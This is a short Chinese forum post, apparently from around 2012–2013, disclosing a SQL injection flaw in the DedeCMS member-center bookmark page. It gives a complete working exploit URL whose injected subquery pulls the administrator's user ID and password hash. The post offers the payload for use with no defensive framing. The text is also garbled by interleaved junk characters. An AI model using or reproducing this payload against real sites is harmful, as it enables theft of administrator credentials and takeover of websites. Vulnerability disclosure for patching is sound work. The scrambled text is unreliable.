DedeCMS会员中心SQL注射漏洞! X; {- {/ n% p( E% {
需要magic_quotes_gpc = Off
- q1 b F& J. m. }( c2 S会员登录后可以执行SQL语句查询数据库任意内容如管理员密码.4 t) b6 R5 I4 @5 k& g0 k% ~
: I. {1 X' s V' F8 ]
DedeCMS会员中心书签管理SQL注射漏洞
8 o, F7 W6 R9 g5 T% x成功利用该漏洞可获得管理员密码
q2 J. F$ x- t4 R5 g4 D
: }+ f: a( H# w9 K. Z2 i会员登录后可以执行SQL语句查询数据库任意内容如管理员密码
9 O' N* K4 U5 s+ f+ _( ~ z e 1 a8 n9 L; s$ |1 f3 h1 V
http://bt/member/flink_main.php?dopost=update&aid=1&title=c4rp3nt3r&url=http://www.0x50sec.org',title=@`'`,url=(select concat(userid,0x3a,pwd) from `%23@__admin` limit 1),title='c4rp3nt3r
( J; z2 Q) ` }3 I8 ? |
发表于 2012-12-31 09:21:18
收藏
支持
反对
发表于 2013-1-10 01:33:59